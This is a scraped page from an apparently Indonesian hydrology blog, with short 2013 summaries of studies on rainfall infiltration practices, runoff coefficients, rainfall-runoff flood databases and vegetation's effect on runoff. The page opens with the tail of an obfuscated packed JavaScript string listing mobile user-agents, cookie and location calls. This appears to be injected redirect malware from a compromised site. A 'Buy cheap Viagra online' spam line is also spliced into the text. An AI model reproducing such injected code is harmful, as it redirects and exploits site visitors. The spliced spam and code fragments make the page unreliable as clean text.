|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

INFILTRASI AIR HUJAN – BMP BEST MANAGEMENT PRACTICES

November 30th, 2013 No comments


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INFILTRASI  AIR HUJAN – BMP BEST MANAGEMENT PRACTICES

Best Management Practices ( BMP ) infiltrasi menjadi alat yang banyak digunakan dalam upaya untuk lebih baik mengelola limpasan air hujan . Banyak regulasi air hujan yang baru membutuhkan pelaksanaan BMP air hujan untuk mengurangi volume limpasan air hujan .

BMP infiltrasi yang paling banyak dilaksanakan adalah untuk menurunkan Volume limpasan air hujan . Meskipun telah banyak digunakan secara luas , namun masih diperlukan informasi yang lebih banyak tentang bagaimana BMP infiltrasi ini berfungsi selama satu tahun dan yang lebih penting adalah selama masa kerja efektifnya.

Fokus penelitian ini adalah pada proses infiltrasi yang sebenarnya menjadi pusat operasi BMP infiltrasi.
Suatu usaha telah dilakukan untuk memberikan informasi yang relevan untuk setiap BMP  infiltrasi. Secara total lebih dari sembilan tahun data pemantauan hidrologi dikumpulkan di tiga BMP infiltrasi yang terletak di kampus Universitas Villanova di Southeastern Pennsylvania .  BMP yang dipelajari ini adalah Pervious Concrete Infiltration Basin, a BioInfiltration Traffic Island, dan The Infiltration Trench.

Analisis data monitoring telah memberikan pemahaman yang berharga tentang karakteristik jangka panjang infiltrasi air limpasan permukaan.  Semua tipe BMP menunjukkan variasi musiman yang signifikan dan satu menunjukkan penurunan sistematis dalam hal kinerjanya .

 

SUmber:

Long-Term Assessment of Infiltration Best Management Practices
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FAKTOR-FAKTOR YANG MEMPENGARUHI KOEFISIEN RUNOFF

November 29th, 2013 No comments

FAKTOR-FAKTOR YANG MEMPENGARUHI KOEFISIEN RUNOFF

 

Koefisien limpasan (koefisien runoff) φ adalah parameter penting untuk memperkirakan puncak debit banjir di cekungan drainase yang tidak dilengkapi dengan alat ukur.


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Tabel dan grafik dapat digunakan untuk menentukan φ dengan cara yang agak empiris , namun dapat menyebabkan inkonsistensi dalam aplikasinya; oleh karena itu perlu diidentifikasi parameter lain yang dapat dimanfaatkan untuk menilai φ secara lebih langsung.

Dalam tulisan ini, dengan fokus di daerah Southern Kontinental Italia, ekspresi analitis sederhana antara koefisien limpasan φ dan potensi maksimum retensi air tanah (S) dikembangkan, ekspresi ini disusun dengan mempertimbangkan kondisi kelembaban sbelum kejadian hujan dari DAS dengan menggunakan faktor iklim.

Untuk tujuan ini, telah diadopsi klasifikasi permeabilitas tanah , yang memungkinkan evaluasi S,  dalam hubungannya dengan Curve-Number (CN), sebagai fungsi dari jenis tanah, penggunaan lahan dan kondisi kelembaban tanah awal AMC).

Sumber:
Del Giudice, G., Padulano, R., and Rasulo, G.  2012.  Factors affecting the runoff coefficient, Hydrol. Earth Syst. Sci. Discuss., 9, 4919-4941, doi:10.5194/hessd-9-4919-2012, 2012.

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MODEL RAINFALL-RUNOFF – MANAJEMEN RISIKO BANJIR

November 29th, 2013 No comments


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MODEL RAINFALL-RUNOFF – MANAJEMEN RISIKO BANJIR

 

Sebuah kerangka kerja untuk database rainfall-runoff  yang lebih komprehensif dikembangkan untuk mempelajari respon DAS terhadap berbagai kejadian hujan.

Kerangka ini mendukung pendugaan risiko banjir yang efektif dan manajemennya,  dan menggunakan pendekatan yang relatif sederhana . Sistem ini terdiri dari tiga komponen yang fleksibel , generator hujan, model rainfall-runoff , dan sistem manajemen database.

Sistem ini telah dikembangkan dan diuji di dua daerah tanggakapan hujan di bagian hulu DAS Tiber River ( Italia tengah ) . Salah satu tujuan utamanya adalah untuk menyelidiki bagaimana pendekatan ini dapat memberikan hasil yang bagus.

Model rainfall-runoff  digunakan untuk simulasi limpasan berdasarkan berbagai peristiwa hujan disain.

Database rainfall-runoff dapat digunakan sebagai alat yang efektif untuk menilai situasi debit sungai, dengan asumsi volume curah hujan yang berbeda -beda.  Aplikasi di lokasi penelitian menunjukkan bahwa besaran kejadian banjir riil dapat dengan tepat diprediksi dnegan database dalam rentang ketidakpastiannya .

 

Sumber:

Brocca, L., Liersch, S., Melone, F., Moramarco, T., and Volk, M. 2013.  Application of a model-based rainfall-runoff database as efficient tool for flood risk management, Hydrol. Earth Syst. Sci. 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EFEK VEGETASI TERHADAP LIMPASAN PERMUKAAN AIR HUJAN

November 29th, 2013 No comments


Buy cheap Viagra online

EFEK  VEGETASI TERHADAP LIMPASAN PERMUKAAN AIR HUJAN

 

Hilangnya sejumlah air hujan karena intersepsi tajuk vegetasi tergantung pada jenis vegetasi dan fase pertumbuhannya.

Nilai intersepsi antara berkisar antara 1 dan 4 mm. Suatu tanaman sereal, memiliki kapasitas simpanan lebih kecil dari vegetasi rumput penutup tanah yang rapat.

Hal yang lebih penting adalah efek vegetasi terhadap kapasitas infiltrasi tanah.

Suatu vegetasi penutup muka-tanah yang lebat melindungi tanah dari dampak pukulan hujan dan mengurangi efek “kerak-permukaan” yang padat.

Selain itu, sistem akar dan bahan organik tanah meningkatkan porositas tanah, sehingga memungkinkan lebih banyak air untuk meresap ke dalam tanah.  Vegetasi juga dapat menghambat aliran permukaan , terutama pada lereng yang landai, memberikan kesempatan yang lebih banyak kepada air hujan untuk meresap ke dalam tanah dan menguap ke atmosfir (transpirasi).

Daerah yang secara rapat ditutupi oleh vegetasi, menghasilkan limpasan air bujan lebih sedikit dibandingkan dnegan daerah yang kosong.

 

Selengkapnya lihat: http://www.fao.org/docrep/u3160e/u3160e05.htm#TopOfPage

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